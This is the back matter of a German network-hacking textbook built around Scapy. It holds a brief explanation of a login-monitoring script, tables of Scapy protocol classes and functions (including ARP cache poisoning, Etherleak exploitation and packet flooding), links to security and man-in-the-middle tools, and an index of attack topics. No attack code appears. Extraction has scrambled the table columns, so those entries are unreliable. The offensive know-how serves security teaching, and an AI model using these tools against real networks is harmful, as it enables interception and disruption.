158 10 Grabbelkisten-Kung-Fu Mit Hilfe der regulären Ausdrücke in success_patterns und failed_patterns und der (?P<user>)-Syntax werden der Username und falls es sich umeinen Remote Login handelt, auch der Host oder IP gematcht. So können wir späterdarauf zugreifen. trailer.follow wird dazu verwendet, die Logdatei zeilenweise einzulesen,so wie man es von dem Shellbefehl tail -f kennt. Die nächste for-Schleifesorgt dafür, dass alle Patterns für fehlgeschlagene Loginversuche mit der Metho-de check_match() aufgerufen werden. Falls keiner dieser Pattern gefunden wurde,werden in der nächsten Schleife alle erfolgreichen Loginversuche durchlaufen. Die check_match()-Funktion verrichtet die eigentliche Arbeit des Programms.Ihr werden folgende Parameter übergeben: die aktuelle Zeile aus der Logdatei, einvorkompilierter regulärer Ausdruck und ein boolsches Flag, das anzeigt, ob es sichum einen fehlgeschlagenen Loginversuch-Pattern handelt. Als erstes wird der regulären Ausdruck mittels search()-Methode auf die aktu-elle Zeile der Logdatei angewendet. Falls er passt, werden je nachdem ob es sich umeinen entfernten Login oder einen lokalen Login, einen fehlgeschlagenen oder er-folgreichen Versuch handelt, verschiedene Nachrichten an festival übergeben. Fes-tival wird mit Hilfe der os.system()-Funktion aufgerufen, da es sich um ein exter-nes Programm handelt. Bei einem fehlgeschlagenen Loginversuch wird zusätzlichnoch der Zähler in failed_login für diesen Benutzer hochgezählt. Abschließend wird noch überprüft, ob die maximale Anzahl der fehlgeschla-genen Loginversuche erreicht wurde. Falls dies der Fall ist, wird per Zufall ei-ne Nachricht aus shutdown_msgs abgespielt und der max_failed_logins_cmd-Befehl ausgeführt.

Anhang AScapy-Referenz Für Wissenshungrige und NachschlagerA.1 ProtokolleTab. A.1 Scapy-Protokolle BeschreibungName ARP NoneARP BOOTPASN1_Packet cooked linuxBOOTP DHCP optionsCookedLinux DHCPv6 Generic Message)DHCP DHCP6 Option – AuthenticationDHCP6 DHCP6 Option – BCMCS Domain Name ListDHCP6OptAuth DHCP6 Option – BCMCS Addresses ListDHCP6OptBCMCSDomains DHCP6 Option – Client FQDNDHCP6OptBCMCSServers DHCP6 Client Identifier OptionDHCP6OptClientFQDN DHCP6 Option – Domain Search List optionDHCP6OptClientId DHCP6 Option – DNS Recursive Name ServerDHCP6OptDNSDomains DHCP6 Elapsed Time OptionDHCP6OptDNSServersDHCP6OptElapsedTime DHCP6 IA Address Option (IA_TA or IA_NA suboption)DHCP6OptGeoConf DHCP6 Option – IA_PD Prefix optionDHCP6OptIAAddress DHCP6 Identity Association for Non-temporary AddressesDHCP6OptIAPrefix OptionDHCP6OptIA_NA DHCP6 Option – Identity Association for Prefix Delegation DHCP6 Identity Association for Temporary AddressesDHCP6OptIA_PD OptionDHCP6OptIA_TA DHCP6 Interface-Id Option DHCP6 Option – Information Refresh TimeDHCP6OptIfaceId DHCP6 Option – NIS Domain NameDHCP6OptInfoRefreshTime DHCP6 Option – NIS+ Domain NameDHCP6OptNISDomain DHCP6 Option – NIS+ ServersDHCP6OptNISPDomain DHCP6 Option – NIS ServersDHCP6OptNISPServersDHCP6OptNISServersB. Ballmann, Network Hacks – Intensivkurs, Xpert.press, 159DOI 10.1007/978-3-642-24305-9, © Springer-Verlag Berlin Heidelberg 2012

160 A Scapy-ReferenzTab. A.1 Fortsetzung BeschreibungName DHCP6 Option Request Option DHCP6 Preference OptionDHCP6OptOptReq DHCP6 Rapid Commit OptionDHCP6OptPref DHCP6 Reconfigure Accept OptionDHCP6OptRapidCommit DHCP6 Reconfigure Message OptionDHCP6OptReconfAccept DHCP6 Option – RelayRequest OptionDHCP6OptReconfMsg DHCP6 Relay Message OptionDHCP6OptRelayAgentERO DHCP6 Option – Relay Agent Remote-IDDHCP6OptRelayMsg DHCP6 Option – SIP Servers Domain Name ListDHCP6OptRemoteID DHCP6 Option – SIP Servers IPv6 Address ListDHCP6OptSIPDomains DHCP6 option – SNTP ServersDHCP6OptSIPServers DHCP6 Server Identifier OptionDHCP6OptSNTPServers DHCP6 Server Unicast OptionDHCP6OptServerId DHCP6 Status Code OptionDHCP6OptServerUnicast DHCP6 Option – Subscriber IDDHCP6OptStatusCode Unknown DHCPv6 OPtionDHCP6OptSubscriberID DHCP6 User Class OptionDHCP6OptUnknown DHCP6 Vendor Class OptionDHCP6OptUserClass DHCP6 Vendor-specific Information OptionDHCP6OptVendorClass DHCPv6 Advertise MessageDHCP6OptVendorSpecificInfo DHCPv6 Confirm MessageDHCP6_Advertise DHCPv6 Decline MessageDHCP6_Confirm DHCPv6 Information Request MessageDHCP6_Decline DHCPv6 Rebind MessageDHCP6_InfoRequest DHCPv6 Reconfigure MessageDHCP6_Rebind DHCPv6 Relay Forward Message (Relay Agent/ServerDHCP6_Reconf Message)DHCP6_RelayForward DHCPv6 Relay Reply Message (Relay Agent/Server Message)DHCP6_RelayReply DHCPv6 Release Message DHCPv6 Renew MessageDHCP6_Release DHCPv6 Reply MessageDHCP6_Renew DHCPv6 Request MessageDHCP6_Reply DHCPv6 Solicit MessageDHCP6_Request DNSDHCP6_Solicit DNS Question RecordDNS DNS Resource RecordDNSQR DUID – Assigned by Vendor Based on Enterprise NumberDNSRR DUID – Based on Link-layer AddressDUID_EN DUID – Link-layer address plus timeDUID_LL 802.11DUID_LLT 802.11 ATIMDot11 802.11 Association RequestDot11ATIM 802.11 Association ResponseDot11AssoReq 802.11 AuthenticationDot11AssoResp 802.11 BeaconDot11Auth 802.11 DeauthenticationDot11Beacon 802.11 DisassociationDot11Deauth 802.11 Information ElementDot11Disas 802.11 Probe RequestDot11EltDot11ProbeReq

A.1 Protokolle 161Tab. A.1 Fortsetzung BeschreibungName 802.11 Probe Response 802.11 QoSDot11ProbeResp 802.11 Reassociation RequestDot11QoS 802.11 Reassociation ResponseDot11ReassoReq 802.11 WEP packetDot11ReassoResp 802.1QDot11WEP 802.3Dot1Q EAPDot3 EAPOLEAP EthernetEAPOL GPRSdummyEther GREGPRS GRE routing informationsGRE Home Address OptionGRErouting Scapy6 Unknown OptionHAO HCI ACL headerHBHOptUnknown HCI headerHCI_ACL_Hdr NoneHCI_Hdr HSRPHDLC ICMPHSRP ICMP in ICMPICMP ICMPv6 Destination UnreachableICMPerror ICMPv6 Echo ReplyICMPv6DestUnreach ICMPv6 Echo RequestICMPv6EchoReply ICMPv6 Home Agent Address Discovery ReplyICMPv6EchoRequest ICMPv6 Home Agent Address Discovery RequestICMPv6HAADReply MLD – Multicast Listener DoneICMPv6HAADRequest MLD – Multicast Listener QueryICMPv6MLDone MLD – Multicast Listener ReportICMPv6MLQuery ICMPv6 Mobile Prefix AdvertisementICMPv6MLReport ICMPv6 Mobile Prefix SolicitationICMPv6MPAdv ICMPv6 Multicast Router Discovery AdvertisementICMPv6MPSol ICMPv6 Multicast Router Discovery SolicitationICMPv6MRD_Advertisement ICMPv6 Multicast Router Discovery TerminationICMPv6MRD_Solicitation ICMPv6 Neighbor Discovery – Interval AdvertisementICMPv6MRD_Termination ICMPv6 Neighbor Discovery Option – DestinationICMPv6NDOptAdvInterval Link-Layer AddressICMPv6NDOptDstLLAddr ICMPv6 Neighbor Discovery Option – Expanded Flags OptionICMPv6NDOptEFA ICMPv6 Neighbor Discovery – Home Agent Information ICMPv6 Neighbor Discovery – IP Address Option (FH forICMPv6NDOptHAInfo MIPv6)ICMPv6NDOptIPAddr ICMPv6 Neighbor Discovery – Link-Layer Address (LLA) Option (FH for MIPv6)ICMPv6NDOptLLA ICMPv6 Neighbor Discovery – MAP Option ICMPv6 Neighbor Discovery Option – MTUICMPv6NDOptMAP ICMPv6 Neighbor Discovery – New Router PrefixICMPv6NDOptMTU Information Option (FH for MIPv6)ICMPv6NDOptNewRtrPrefix ICMPv6 Neighbor Discovery Option – Prefix InformationICMPv6NDOptPrefixInfo

162 A Scapy-ReferenzTab. A.1 Fortsetzung BeschreibungName ICMPv6 Neighbor Discovery Option – Recursive DNS Server OptionICMPv6NDOptRDNSS ICMPv6 Neighbor Discovery Option – Redirected Header ICMPv6 Neighbor Discovery Option – Route InformationICMPv6NDOptRedirectedHdr OptionICMPv6NDOptRouteInfo ICMPv6 Neighbor Discovery Option – NBMA Shortcut LimitICMPv6NDOptShortcutLimit ICMPv6 Inverse Neighbor Discovery Option – Source Address ListICMPv6NDOptSrcAddrList ICMPv6 Neighbor Discovery Option – Source Link-Layer AddressICMPv6NDOptSrcLLAddr ICMPv6 Inverse Neighbor Discovery Option – Target Address ListICMPv6NDOptTgtAddrList ICMPv6 Neighbor Discovery Option – Scapy UnimplementedICMPv6NDOptUnknown ICMPv6 Inverse Neighbor Discovery Advertisement ICMPv6 Inverse Neighbor Discovery SolicitationICMPv6ND_INDAdv ICMPv6 Neighbor Discovery – Neighbor AdvertisementICMPv6ND_INDSol ICMPv6 Neighbor Discovery – Neighbor SolicitationICMPv6ND_NA ICMPv6 Neighbor Discovery – Router AdvertisementICMPv6ND_NS ICMPv6 Neighbor Discovery – Router SolicitationICMPv6ND_RA ICMPv6 Neighbor Discovery – RedirectICMPv6ND_RS ICMPv6 Node Information Query – IPv4 Address QueryICMPv6ND_Redirect ICMPv6 Node Information Query – IPv6 Address QueryICMPv6NIQueryIPv4 ICMPv6 Node Information Query – NOOP QueryICMPv6NIQueryIPv6 ICMPv6 Node Information Query – IPv6 Name QueryICMPv6NIQueryNOOP ICMPv6 Node Information Reply – IPv4 addressesICMPv6NIQueryName ICMPv6 Node Information Reply – IPv6 addressesICMPv6NIReplyIPv4 ICMPv6 Node Information Reply – NOOP ReplyICMPv6NIReplyIPv6 ICMPv6 Node Information Reply – Node NamesICMPv6NIReplyNOOP ICMPv6 Node Information Reply – Responder refuses toICMPv6NIReplyName supply answerICMPv6NIReplyRefuse ICMPv6 Node Information Reply – Qtype unknown to the responderICMPv6NIReplyUnknown ICMPv6 Packet Too Big ICMPv6 Parameter ProblemICMPv6PacketTooBig ICMPv6 Time ExceededICMPv6ParamProblem Scapy6 ICMPv6 fallback classICMPv6TimeExceeded IPICMPv6Unknown NoneIP IP Option Address ExtensionIPOption NoneIPOption_Address_Extension IP Option Loose Source and Record RouteIPOption_EOL IP Option MTU ProbeIPOption_LSRR IP Option MTU ReplyIPOption_MTU_Probe NoneIPOption_MTU_Reply IP Option Record RouteIPOption_NOP IP Option Router AlertIPOption_RR IP Option Selective Directed Broadcast ModeIPOption_Router_Alert IP Option Strict Source and Record RouteIPOption_SDBMIPOption_SSRR

A.1 Protokolle 163Tab. A.1 Fortsetzung BeschreibungName None IP Option Stream IDIPOption_Security NoneIPOption_Stream_Id IP in ICMPIPOption_Traceroute IPv6 in ICMPv6IPerror IPv6IPerror6 IPv6 Extension Header – Destination Options HeaderIPv6 IPv6 Extension Header – Fragmentation headerIPv6ExtHdrDestOpt IPv6 Extension Header – Hop-by-Hop Options HeaderIPv6ExtHdrFragment IPv6 Option Header RoutingIPv6ExtHdrHopByHop ISAKMPIPv6ExtHdrRouting NoneISAKMP ISAKMP payloadISAKMP_class ISAKMP HashISAKMP_payload ISAKMP IdentificationISAKMP_payload_Hash ISAKMP Key ExchangeISAKMP_payload_ID ISAKMP NonceISAKMP_payload_KE IKE proposalISAKMP_payload_Nonce ISAKMP SAISAKMP_payload_Proposal IKE TransformISAKMP_payload_SA ISAKMP Vendor IDISAKMP_payload_Transform IrDA Link Access Protocol CommandISAKMP_payload_VendorID IrDA Link Access Protocol HeaderIrLAPCommand IrDA Link Management ProtocolIrLAPHead Jumbo PayloadIrLMP L2CAP command headerJumbo L2CAP Command RejL2CAP_CmdHdr L2CAP Conf ReqL2CAP_CmdRej L2CAP Conf RespL2CAP_ConfReq L2CAP Conn ReqL2CAP_ConfResp L2CAP Conn RespL2CAP_ConnReq L2CAP Disconn ReqL2CAP_ConnResp L2CAP Disconn RespL2CAP_DisconnReq L2CAP headerL2CAP_DisconnResp L2CAP Info ReqL2CAP_Hdr L2CAP Info RespL2CAP_InfoReq NoneL2CAP_InfoResp LLCL2TP Link Local Multicast Node Resolution – QueryLLC Link Local Multicast Node Resolution – ResponseLLMNRQuery MGCPLLMNRResponse IPv6 Mobility Header – Binding ACKMGCP IPv6 Mobility Header – Binding ErrorMIP6MH_BA IPv6 Mobility Header – Binding Refresh RequestMIP6MH_BE IPv6 Mobility Header – Binding UpdateMIP6MH_BRR IPv6 Mobility Header – Care-of TestMIP6MH_BU IPv6 Mobility Header – Care-of Test InitMIP6MH_CoT IPv6 Mobility Header – Generic MessageMIP6MH_CoTI IPv6 Mobility Header – Home TestMIP6MH_Generic IPv6 Mobility Header – Home Test InitMIP6MH_HoTMIP6MH_HoTI

164 A Scapy-ReferenzTab. A.1 FortsetzungName BeschreibungMIP6OptAltCoA MIPv6 Option – Alternate Care-of AddressMIP6OptBRAdvice Mobile IPv6 Option – Binding Refresh AdviceMIP6OptBindingAuthData MIPv6 Option – Binding Authorization DataMIP6OptCGAParams MIPv6 option – CGA ParametersMIP6OptCGAParamsReq MIPv6 option – CGA Parameters RequestMIP6OptCareOfTest MIPv6 option – Care-of TestMIP6OptCareOfTestInit MIPv6 option – Care-of Test InitMIP6OptHomeKeygenToken MIPv6 option – Home Keygen TokenMIP6OptLLAddr MIPv6 Option – Link-Layer Address (MH-LLA)MIP6OptMNID MIPv6 Option – Mobile Node IdentifierMIP6OptMobNetPrefix NEMO Option – Mobile Network PrefixMIP6OptMsgAuth MIPv6 Option – Mobility Message AuthenticationMIP6OptNonceIndices MIPv6 Option – Nonce IndicesMIP6OptReplayProtection MIPv6 option – Replay ProtectionMIP6OptSignature MIPv6 option – SignatureMIP6OptUnknown Scapy6 – Unknown Mobility OptionMobileIP Mobile IP (RFC3344)MobileIPRRP Mobile IP Registration Reply (RFC3344)MobileIPRRQ Mobile IP Registration Request (RFC3344)MobileIPTunnelData Mobile IP Tunnel Data Message (RFC3519)NBNSNodeStatusResponse NBNS Node Status ResponseNBNSNodeStatusResponseEnd NBNS Node Status ResponseNBNSNodeStatusResponseService NBNS Node Status Response ServiceNBNSQueryRequest NBNS query requestNBNSQueryResponse NBNS query responseNBNSQueryResponseNegative NBNS query response (negative)NBNSRequest NBNS requestNBNSWackResponse NBNS Wait for Acknowledgement ResponseNBTDatagram NBT Datagram PacketNBTSession NBT Session PacketNTP NTPNetBIOS_DS NetBIOS datagram serviceNetflowHeader Netflow HeaderNetflowHeaderV1 Netflow Header V1NetflowRecordV1 Netflow RecordNoPayload NonePPI Per-Packet Information header (partial)PPP PPP Link LayerPPP_ECP NonePPP_ECP_Option PPP ECP OptionPPP_ECP_Option_OUI PPP ECP OptionPPP_IPCP NonePPP_IPCP_Option PPP IPCP OptionPPP_IPCP_Option_DNS1 PPP IPCP Option& DNS1 AddressPPP_IPCP_Option_DNS2 PPP IPCP Option& DNS2 AddressPPP_IPCP_Option_IPAddress PPP IPCP Option& IP AddressPPP_IPCP_Option_NBNS1 PPP IPCP Option& NBNS1 AddressPPP_IPCP_Option_NBNS2 PPP IPCP Option& NBNS2 AddressPPPoE PPP over EthernetPPPoED PPP over Ethernet Discovery

A.1 Protokolle 165Tab. A.1 Fortsetzung BeschreibungName None Pad1Packet PadNPad1 PaddingPadN Prism headerPadding Pseudo IPv6 HeaderPrismHeader RIP headerPseudoIPv6 RIP authenticationRIP RIP entryRIPAuth RTPRIPEntry RadioTap dummyRTP RadiusRadioTap RawRadius Router AlertRaw NoneRouterAlert NoneSCTP NoneSCTPChunkAbort NoneSCTPChunkCookieAck NoneSCTPChunkCookieEcho NoneSCTPChunkData NoneSCTPChunkError NoneSCTPChunkHeartbeatAck NoneSCTPChunkHeartbeatReq NoneSCTPChunkInit NoneSCTPChunkInitAck NoneSCTPChunkParamAdaptationLayer NoneSCTPChunkParamCookiePreservative NoneSCTPChunkParamECNCapable NoneSCTPChunkParamFwdTSN NoneSCTPChunkParamHearbeatInfo NoneSCTPChunkParamHostname NoneSCTPChunkParamIPv4Addr NoneSCTPChunkParamIPv6Addr NoneSCTPChunkParamStateCookie NoneSCTPChunkParamSupportedAddrTypes NoneSCTPChunkParamUnrocognizedParam NoneSCTPChunkSACK NoneSCTPChunkShutdown NoneSCTPChunkShutdownAck NoneSCTPChunkShutdownComplete SMBNegociate Protocol RequestSMBMailSlot HeaderSMBNegociate_Protocol_Request_Header SMB Negociate Protocol Request TailSMBNegociate_Protocol_Request_Tail SMBNegociate Protocol Response Advanced SecuritySMBNegociate_Protocol_Response_Advanced_Security SMBNegociate Protocol Response No SecuritySMBNegociate_Protocol_Response_No_Security NoneSMBNegociate_Protocol_Response_No_Security_No_Key

166 A Scapy-ReferenzTab. A.1 Fortsetzung BeschreibungName SMBNetlogon Protocol Response HeaderSMBNetlogon_Protocol_Response_Header SMB Netlogon Protocol Response Tail LM20SMBNetlogon_Protocol_Response_Tail_LM20 SMB Netlogon Protocol Response Tail SAMSMBNetlogon_Protocol_Response_Tail_SAM Session Setup AndX Request Session Setup AndX ResponseSMBSession_Setup_AndX_Request SNAPSMBSession_Setup_AndX_Response NoneSNAP NoneSNMP NoneSNMPbulk NoneSNMPget NoneSNMPinform NoneSNMPnext NoneSNMPresponse NoneSNMPset NoneSNMPtrapv1 NoneSNMPtrapv2 Spanning Tree ProtocolSNMPvarbind Sebek headerSTP Sebek v1SebekHead Sebek v3SebekV1 Sebek v2 socketSebekV2 Sebek v3SebekV2Sock Sebek v2 socketSebekV3 SkinnySebekV3Sock TCPSkinny TCP in ICMPTCP TFTP opcodeTCPerror TFTP AckTFTP TFTP DataTFTP_ACK TFTP ErrorTFTP_DATA TFTP Option AckTFTP_ERROR NoneTFTP_OACK NoneTFTP_Option TFTP Read RequestTFTP_Options TFTP Write RequestTFTP_RRQ UDPTFTP_WRQ UDP in ICMPUDP user class dataUDPerror vendor class dataUSER_CLASS_DATA vendor specific option dataVENDOR_CLASS_DATA NoneVENDOR_SPECIFIC_OPTION NoneVRRP NoneX509Cert NoneX509RDNX509v3Ext

A.2 Funktionen 167A.2 FunktionenTab. A.2 Scapy-FunktionenName Beschreibungarpcachepoison Poison target’s cache with (your MAC,victim’s IP) couplearping Send ARP who-has requests to determine which hosts are upbind_layers Bind 2 layers on some specific fields’ valuescorrupt_bits Flip a given percentage or number of bits from a stringcorrupt_bytes Corrupt a given percentage or number of bytes from a stringdefrag defrag(plist) -> ([not fragmented], [defragmented],defragment defrag(plist) -> plist defragmented as much as possibledyndns_add Send a DNS add message to a nameserver for “name” to have a new “rdata”dyndns_del Send a DNS delete message to a nameserver for “name”etherleak Exploit Etherleak flawfragment Fragment a big IP datagramfuzz Transform a layer into a fuzzy layer by replacing some default values by random objectsgetmacbyip Return MAC address corresponding to a given IP addresshexdiff Show differences between 2 binary stringshexdump –hexedit –is_promisc Try to guess if target is in Promisc mode. The target is provided by its ip.linehexdump –ls List available layers, or infos on a given layerpromiscping Send ARP who-has requests to determine which hosts are in promiscuous moderdpcap Read a pcap file and return a packet listsend Send packets at layer 3sendp Send packets at layer 2sendpfast Send packets at layer 2 using tcpreplay for performancesniff Sniff packetssplit_layers Split 2 layers previously boundsr Send and receive packets at layer 3sr1 Send packets at layer 3 and return only the first answersrbt send and receive using a bluetooth socketsrbt1 send and receive 1 packet using a bluetooth socketsrflood Flood and receive packets at layer 3srloop Send a packet at layer 3 in loop and print the answer each timesrp Send and receive packets at layer 2srp1 Send and receive packets at layer 2 and return only the first answersrpflood Flood and receive packets at layer 2srploop Send a packet at layer 2 in loop and print the answer each timetraceroute Instant TCP traceroute

Anhang BWeiterführende LinksURL Beschreibungwww.secdev.org/projects/scapy/docs.python.org Die Projektseite von Scapy, dem weltbestenpypi.python.org Paketgeneratorwww.pip-installer.org/ Offizielle Python-Dokumentationbluez.org Python Package Index - Suchmaschine für Python-Modulehttp://trifinite.org/ Offizielle Dokumentation zum pip-Installerwww.phrack.org Der offizielle Bluetooth-Protokoll-Stack von GNU/Linux Eine Research Gruppe, die sich ausschließlich mitseclists.org Bluetooth Security beschäftigt Das älteste und beste Hacker Magazin der Welt! Diewww.packetstormsecurity.net meisten Source-Code-Beispiele sind allerdings in Cwww.uninformed.org geschrieben.events.ccc.de Mailing List Archive der größtenwww.defcon.org IT-Security-Mailing-Listen wie Bugtraq und Fullwww.securitytube.net/ Disclosurewww.owasp.org News, Tools, Exploits und Foren Ein sehr technisches Magazin über IT-Security, Reversepalowireless.com Engineering und Low-Level-Programmierung Events des Chaos Computer Clubs mit gutenwww.aircrack-ng.org Kontaktmöglichkeiten und herausragenden Vorträgentcpdump.org Der größte Hacker-Kongress der USA mit ebenfalls sehrwireshark.org guten Vortragsvideos Das Video-Portal für IT-Security Tutorials Open Web Application Security Project – Viele nützliche Informationen rund um Web Security inklusive eigener Konferenzen Die beste Anlaufstelle für Protokollinformationen und technische Dokumentationen im Bereich Wireless (Bluetooth, Wifi, GPS etc.) Das weltbeste Toolset für Wireless-LAN-Security Die Homepage des Tcpdump Sniffers und Libpcap inklusive Beschreibung der PCAP-Expression-Language Der weltweit führende Sniffer und Protocol Analyzer 169

170 B Weiterführende LinksURL Beschreibungp-a-t-h.sf.netettercap.sf.net Perl Advanced TCP Hijacking – Ein Network Hijacking Toolkit in Perlyersinia.net Ettercap ist eine Toolsammlung für Man-thehackernews.com in-the-Middle-Angriffe in einem LAN-hitb.org Netzwerk.hackingtricks.in Layer 2 Hacking Tool inklusive STP,www.networksorcery.com/enp/welcome_1101.htm DTP und VLAN Nachrichten von uns aus der Hacker Ge- meinschaft inklusive eigenem Magazin Hack in the box – Conference, Magazin, Foren und Newsportal Blog über Ethical Hacking und Cyber Security RFC Sourcebook – Die beste An- laufstelle für Netzwerk-Protokoll- Beschreibungen

SachverzeichnisSymbole Blue Bug 142 Blue Snarf 141802.11 111 BlueMaho 146802.11w 127 Bluetooth 135802.1q 10 BNEP 136 boolschen Operatoren 29A BOOTP 151 Bridge 20A-Records 71 16 Broadcast-Adresse 12AA-Bit 72 Broadcast-SSID 112Access-Point 111 Bus-Netzwerk 6Acknowledgement-NummerACL 136 CAd-Hoc 111addr1 113 CA 101addr2 113 CCMP 123addr3 113 Certificate Signing Request 103AES 123 Channel Hopping 116AirXploit 133 Chopchop 122AP 111 CIDR-Block 13ARP 10 CIFS 154ARP-Cache 39 Clear-to-send 113ARP-Request 37 Client/Server-Architektur 18ARP-Response 37 CNAME-Records 71Association-Request 112 Comand-Injection 99Association-Response 112 CONNECT 84AT Command Set 142 Content-Length 84Ath5k 123 Content-Type 84Ath9k 123 Control-Frames 113Authentication 112 Cookie Monster 109Authorization 84 Cookies 84 CRC 119B CRL 103 Cross-Kabel 9Baseband 135 Cross-Site-Scripting 100Beacon 112 CRUD 86Blind-IP-Spoofing 16 CSR 103 171

172 SachverzeichnisCTS 113 HEAD 84 Honeypot 21D Host-Header 84 Hostap 123Data-Frames 113 HTTP 83 86Datentypen 25 HTTP-Auth 84Deauth 126 HTTP-Status-CodesDefault-Gateway 13 HTTPS 102DELETE 84 Hub 5Denial of Service 55Destination Port 15 IDHCP 148DHCP-ACK 149 ICMP 13DHCP-Message-Type 151 ICMP-Redirection 60Dictionaries 26 ICV 119DNS 71 import 30DNS-Spoofing 78 Infrastruktur-Modus 111DNSSEC 80 Initial-Sequenz-Nummer 16Dot11 126 Inquiry-Scan 137Dot11Elt 126 int() 25Dot11ProbeReq 126 Integer 25DTP 43 Intrusion Detection System 21Duration-Header 113 Intrusion Prevention System 21 IP 11E IP-Forwarding 36 IP-Spoofing 54EAP 121 IPsec 21EAPOL 121 ISO/OSI Schichtenmodell 8elif 29 IV 119Ethernet 9Exceptions 31 K Keyid 119F LFirewall 21 L2CAP 136 136Float 25 LAN 7float() 25 Link Managerfor 29 Liste 26Formatstrings 27 LMP 136Frame-Control-Header 113 Location 86Frequence-Hopping 135Funktion 28 MG MAC-Adresse 9 MadWifi 123Gateway 19 MAN 7 22GET 84 Man-in-the-middle-AttackenGoogle 153 121 Managed 111Group-Transient-Key Management-Frames 113GTK 121 Mitmproxy 102 Module 30H More-Fragments-Bit 113 MTU 11HCI 136 MX-Records 71

Sachverzeichnis 173N Referer 84 Reguläre Ausdrücke 32Nameserver 71 12 Request-to-send 113Netzmaske 12 REST 86Netzstart-Adresse Retry-Bit 114Nonce 121 RFCOMM 136NS-Records 71 Ring-Netzwerk 6 RIPE 73O Root-Server 73 Round-robin Verfahren 71OBEX 137 126 Router 19OP-Code 36 RST-Daemon 62Open-System-Authentifizierung RTS 113openssl 103OpenVPN 21 SOPTIONS 84OSI-Layer 8 Scapy 67 Schleifen 29P SCO 136 SDP 137Package 31 Secure-Socket-Layer 101Pairwise-Master-Key 121 Sequence-Control-Header 113Pairwise-Transient-Key 121 Sequenz-Nummer 15Paketfilter 21 Set 27Patch-Kabel 9 Set-Cookie 86PCAP-Dump-Datei 51 SMB 154PCAP-Filter-Language 49 SMS 142Peer-to-Peer-Architektur 18 SMTP 147PKI 101 Sniffer 47Plaintext-Protokolle 47 SOAP 86PMK 121 Sockets 33Portscanner 56 Source Port 15POST 84 SQL-Injection 93PPTP 21 Sqlmap 109Pre-Shared-Key 121 SSID 112Probe-Request 112 SSL 101Probe-Response 112 SSL Strip 109Promiscuous-Modus 49 Stern-Netzwerke 6Protected-Frame-Bit 120 STP 9Proxy 20 str 23PSK 121 str() 25PTK 121 String 25PTR-Records 71 Switches 5Public-Key-Infrastruktur 101 SYN-Cookies 56PUT 84 SYN-Flag 16Pyrit 133 SYN-Flooding 55R TRA-Bit 72 TCP 13 16RadioTap 126 TCP-Flags 15RC4 119 Three-Way-HandshakeRCODE-Feld 71 TKIP 121RD-Bit 72 TLD 73

174 SachverzeichnisTLS 102 20 WEP 119TRACE 84 WEP-Bit 120transparenter Proxy while 29try/except 31 WHOIS 73TTL 11 Wifi 111Twisted-Pair 9 Windowsize 16TZ-Bit 72 Wireshark 125 WLAN 111U WPA 120 WPA-Handshake WPA2 123 121 WSDL 87UDP 17 WWW 83UTP 9VVariable 26 XVariablen 23Virtual Private Network 20 x509 101VLAN 10 XMAS-Scans 58 XML-RPC 86W XOR 119 XSS 100W3AF 109 ZWAN 7Weak IVs 119 Zertifikat 101Web-Spider 98


Like this book? You can publish your book online for free in a few minutes!
Create your own flipbook